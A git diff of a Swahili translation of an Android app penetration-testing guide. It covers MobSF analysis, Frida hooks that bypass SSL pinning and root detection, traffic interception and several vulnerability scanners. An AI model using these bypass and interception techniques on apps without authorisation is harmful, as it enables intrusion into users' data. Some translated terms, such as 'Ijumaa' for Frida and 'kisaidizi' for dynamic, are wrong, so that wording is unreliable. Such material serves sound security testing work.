- [**Lipu la Usalama** katika cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **Uingizaji wa SQL:** Unaposhughulikia maswali ya dynamic au Watoa-Maudhui hakikisha unatumia maswali yaliyowekwa.
|
||||
- **Uingizaji wa JavaScript (XSS):** Hakikisha kuwa msaada wa JavaScript na Plugin umezimwa kwa WebViews yoyote (umezimwa kwa default). [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Ujumuishaji wa Faili za Mitaa:** WebViews zinapaswa kuwa na ufikiaji wa mfumo wa faili umezimwa (umewezeshwa kwa default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maelezo zaidi hapa](webview-attacks.md#javascript-enabled).
|
||||
- **Kuki za Milele**: Katika kesi kadhaa wakati programu ya android inamaliza kikao, kuki haifutwi au inaweza hata kuhifadhiwa kwenye diski.
|
||||
- [**Lipu la Usalama** katika kuki](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -534,26 +538,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Kumbuka kwamba MobSF inaweza kuchambua **Android**(apk)**, IOS**(ipa) **na Windows**(apx) programu (_Programu za Windows lazima zichambuliwe kutoka kwa MobSF iliyosakinishwa kwenye mwenyeji wa Windows_).\
|
||||
Pia, ikiwa utaunda **ZIP** faili yenye msimbo wa chanzo wa programu ya **Android** au **IOS** (nenda kwenye folda ya mzizi ya programu, chagua kila kitu na uunde faili la ZIP), itakuwa na uwezo wa kuichambua pia.
|
||||
|
||||
MobSF pia inakuwezesha **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka funguo yako ya API katika _MobSF/settings.py_ na kuifanya iweze: `VT_ENABLED = TRUE` `VT_API_KEY = <Funguo yako ya API>` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** itakuwa **upload** badala ya faili.
|
||||
MobSF pia inakuwezesha kufanya **diff/Compare** uchambuzi na kuunganisha **VirusTotal** (utahitaji kuweka funguo yako ya API katika _MobSF/settings.py_ na kuifanya iweze: `VT_ENABLED = TRUE` `VT_API_KEY = <Funguo yako ya API>` `VT_UPLOAD = TRUE`). Unaweza pia kuweka `VT_UPLOAD` kuwa `False`, kisha **hash** itapakiwa badala ya faili.
|
||||
|
||||
### Uchambuzi wa Kisaidizi wa Dynamic na MobSF
|
||||
### Uchambuzi wa Kisaidizi wa Kijamii na MobSF
|
||||
|
||||
**MobSF** pia inaweza kuwa na msaada mkubwa kwa **uchambuzi wa dynamic** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Kumbuka: Unahitaji **kuanzisha kwanza VM katika genymotion** na **kisha MobSF.**_\
|
||||
**MobSF** pia inaweza kuwa na msaada mkubwa kwa **uchambuzi wa kisaidizi** katika **Android**, lakini katika kesi hiyo utahitaji kusakinisha MobSF na **genymotion** kwenye mwenyeji wako (VM au Docker haitafanya kazi). _Kumbuka: Unahitaji **kuanzisha kwanza VM katika genymotion** na **kisha MobSF.**_\
|
||||
**MobSF dynamic analyser** inaweza:
|
||||
|
||||
- **Dump data za programu** (URLs, logs, clipboard, picha za skrini ulizofanya, picha za skrini zilizofanywa na "**Exported Activity Tester**", barua pepe, hifadhidata za SQLite, faili za XML, na faili nyingine zilizoundwa). Hii yote inafanywa kiotomatiki isipokuwa kwa picha za skrini, unahitaji kubonyeza unapohitaji picha ya skrini au unahitaji kubonyeza "**Exported Activity Tester**" ili kupata picha za skrini za shughuli zote zilizofanywa.
|
||||
- Captura **trafiki ya HTTPS**
|
||||
- Tumia **Frida** kupata **maelezo ya wakati wa utekelezaji**
|
||||
- **Dump data za programu** (URLs, logi, clipboard, picha za skrini ulizofanya, picha za skrini zilizofanywa na "**Exported Activity Tester**", barua pepe, hifadhidata za SQLite, faili za XML, na faili nyingine zilizoundwa). Hii yote inafanywa kiotomatiki isipokuwa kwa picha za skrini, unahitaji kubonyeza unapohitaji picha ya skrini au unahitaji kubonyeza "**Exported Activity Tester**" ili kupata picha za skrini za shughuli zote zilizofanywa.
|
||||
- Kukamata **trafiki ya HTTPS**
|
||||
- Kutumia **Frida** kupata **maelezo ya wakati wa kukimbia**
|
||||
|
||||
Kuanzia **matoleo ya android > 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kuchukua** trafiki. Itachukua tu trafiki kutoka kwa programu iliyojaribiwa.
|
||||
Kuanzia toleo la android **> 5**, itaanza **Frida** kiotomatiki na kuweka mipangilio ya **proxy** ya kimataifa ili **kukamata** trafiki. Itakamata tu trafiki kutoka kwa programu iliyojaribiwa.
|
||||
|
||||
**Frida**
|
||||
|
||||
Kwa kawaida, itatumia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
|
||||
MobSF pia inaweza **kuitisha shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
|
||||
Kwa kawaida, itatumia pia baadhi ya Scripts za Frida ili **kupita SSL pinning**, **ugunduzi wa root** na **ugunduzi wa debugger** na **kufuatilia APIs za kuvutia**.\
|
||||
MobSF pia inaweza **kuita shughuli zilizofanywa**, kuchukua **picha za skrini** za hizo na **kuhifadhi** kwa ripoti.
|
||||
|
||||
Ili **kuanza** upimaji wa dynamic bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logs zinazozalishwa na scripts za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\
|
||||
MobSF pia inakuwezesha kupakia **scripts za Frida** zako mwenyewe (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizandikwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zinazo**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logs za hizo scripts ndani ya "**Frida Live Logs**").
|
||||
Ili **kuanza** upimaji wa kisaidizi bonyeza kitufe kibichi: "**Start Instrumentation**". Bonyeza "**Frida Live Logs**" kuona logi zinazozalishwa na scripts za Frida na "**Live API Monitor**" kuona kila mwito kwa mbinu zilizoshikiliwa, hoja zilizopitishwa na thamani zilizorejeshwa (hii itaonekana baada ya kubonyeza "Start Instrumentation").\
|
||||
MobSF pia inakuwezesha kupakia **scripts zako za Frida** (ili kutuma matokeo ya scripts zako za Ijumaa kwa MobSF tumia kazi `send()`). Pia ina **scripts kadhaa zilizotayarishwa awali** ambazo unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), chagua tu **zinazo**, bonyeza "**Load**" na bonyeza "**Start Instrumentation**" (utaweza kuona logi za hizo scripts ndani ya "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -570,7 +574,7 @@ Mara tu unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Sta
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf pia inakuletea shell yenye baadhi ya amri za **adb**, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa dynamic. Baadhi ya amri za kuvutia:
|
||||
Mobsf pia inakuletea shell yenye baadhi ya amri za **adb**, **MobSF commands**, na amri za kawaida za **shell** chini ya ukurasa wa uchambuzi wa kisaidizi. Baadhi ya amri za kuvutia:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -584,7 +588,7 @@ receivers
|
||||
Wakati trafiki ya http inakamatwa unaweza kuona mtazamo mbaya wa trafiki iliyokamatwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri kwenye "**Start HTTPTools**" kitufe kibichi. Kutoka kwenye chaguo la pili, unaweza **kutuma** **maombi yaliyokamatwa** kwa **proxies** kama Burp au Owasp ZAP.\
|
||||
Ili kufanya hivyo, _washa Burp -->_ _zimisha Intercept --> katika MobSB HTTPTools chagua ombi_ --> bonyeza "**Send to Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz http requests** na kutafuta udhaifu.
|
||||
Mara tu unapo maliza uchambuzi wa dynamic na MobSF unaweza kubonyeza "**Start Web API Fuzzer**" ili **fuzz maombi ya http** na kutafuta udhaifu.
|
||||
|
||||
> [!TIP]
|
||||
> Baada ya kufanya uchambuzi wa dynamic na MobSF mipangilio ya proxy inaweza kuwa na makosa na huwezi kuziweka sawa kutoka kwenye GUI. Unaweza kurekebisha mipangilio ya proxy kwa kufanya:
|
||||
@ -600,13 +604,13 @@ Chombo hiki kitatumia **Hooks** kukujulisha **kila kinachotokea katika programu*
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Hii ni **zana nzuri ya kufanya uchambuzi wa statiki na GUI**
|
||||
Hii ni **chombo kizuri kufanya uchambuzi wa static na GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Chombo hiki kimeundwa kutafuta **udhaifu kadhaa zinazohusiana na usalama wa programu za Android**, iwe katika **msimbo wa chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa.
|
||||
Chombo hiki kimeundwa kutafuta udhaifu kadhaa **yanayohusiana na usalama wa programu za Android**, iwe katika **kanuni ya chanzo** au **APKs zilizopakiwa**. Chombo hiki pia **kina uwezo wa kuunda "Proof-of-Concept" APK inayoweza kutekelezwa** na **amri za ADB**, ili kutumia baadhi ya udhaifu uliofindika (Shughuli zilizo wazi, nia, tapjacking...). Kama ilivyo kwa Drozer, hakuna haja ya ku-root kifaa kinachojaribiwa.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -638,9 +642,9 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn ni chombo **crossplatform** ambacho husaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili wanaofanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu.
|
||||
StaCoAn ni chombo **crossplatform** ambacho kinawasaidia waendelezaji, wawindaji wa makosa na hackers wa kimaadili kufanya [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) kwenye programu za simu.
|
||||
|
||||
Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itaunda ripoti ya kuona na kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi.
|
||||
Wazo ni kwamba unavuta na kuacha faili yako ya programu ya simu (faili .apk au .ipa) kwenye programu ya StaCoAn na itazalisha ripoti ya kuona na inayoweza kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili kupata uzoefu wa kibinafsi.
|
||||
|
||||
Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -648,7 +652,7 @@ Pakua [latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android ambao unawasaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa udhaifu wa Android unaosaidia waendelezaji au hackers kupata udhaifu wa usalama unaoweza kutokea katika programu za Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -656,11 +660,11 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea kutoka kwa programu ya Android.
|
||||
**Androwarn** ni chombo chenye lengo kuu la kugundua na kumwonya mtumiaji kuhusu tabia mbaya zinazoweza kutokea zinazotengenezwa na programu ya Android.
|
||||
|
||||
Gundua inafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
|
||||
Ugunduzi unafanywa kwa **uchambuzi wa statiki** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: uhamasishaji wa vitambulisho vya Simu, upokeaji wa mtiririko wa sauti/video, mabadiliko ya data za PIM, utekelezaji wa msimbo wa kiholela...
|
||||
Chombo hiki kinatafuta **tabia za kawaida za programu "mbaya"** kama: uhamasishaji wa vitambulisho vya simu, upokeaji wa mtiririko wa sauti/video, mabadiliko ya data ya PIM, utekelezaji wa msimbo wa kiholela...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -668,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** ni **M**ifumo ya **A**pplikasheni ya **R**everse engineering na **A**nalysis. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za reverse engineering na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
|
||||
**MARA** ni **M**obile **A**pplication **R**everse engineering na **A**nalysis Framework. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za uhandisi wa nyuma na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
|
||||
|
||||
Inauwezo wa:
|
||||
|
||||
@ -681,7 +685,7 @@ Inauwezo wa:
|
||||
|
||||
### Koodous
|
||||
|
||||
Inatumika kugundua malware: [https://koodous.com/](https://koodous.com)
|
||||
Inafaida kugundua malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
@ -701,7 +705,7 @@ Pata mwongozo wa hatua kwa hatua wa kuondoa obfuscation ya apk katika [https://b
|
||||
|
||||
- kupakia rasilimali kama InputStream;
|
||||
- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafichua;
|
||||
- kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mrejeshaji;
|
||||
- kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mhandisi wa nyuma;
|
||||
- kutoa matokeo yaliyofichuliwa kwa ZipInputStream ili kupata faili ya DEX;
|
||||
- hatimaye kupakia DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`.
|
||||
|
||||
@ -713,7 +717,7 @@ Unaweza kupakia APK iliyofichwa kwenye jukwaa lao.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Hii ni zana ya LLM ya kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
|
||||
Hii ni zana ya LLM kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
@ -721,7 +725,7 @@ Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa kar
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua waandishi wengi wa **programu**, **paket**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
|
||||
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua waandishi wengi wa **kompyuta**, **pakka**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
|
||||
|
||||
### Manual
|
||||
|
||||
@ -731,7 +735,7 @@ APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua waandishi
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b ni mashine ya virtual ya usalama ya Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa mfumo wa hivi karibuni, mafunzo na maabara kutoka kwa wahandisi wa usalama na watafiti mbalimbali kwa ajili ya reverse engineering na uchambuzi wa malware.
|
||||
AndroL4b ni mashine ya virtual ya usalama ya Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa mfumo wa hivi karibuni, mafunzo na maabara kutoka kwa wahandisi wa usalama na watafiti mbalimbali kwa ajili ya uhandisi wa nyuma na uchambuzi wa malware.
|
||||
|
||||
## References
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user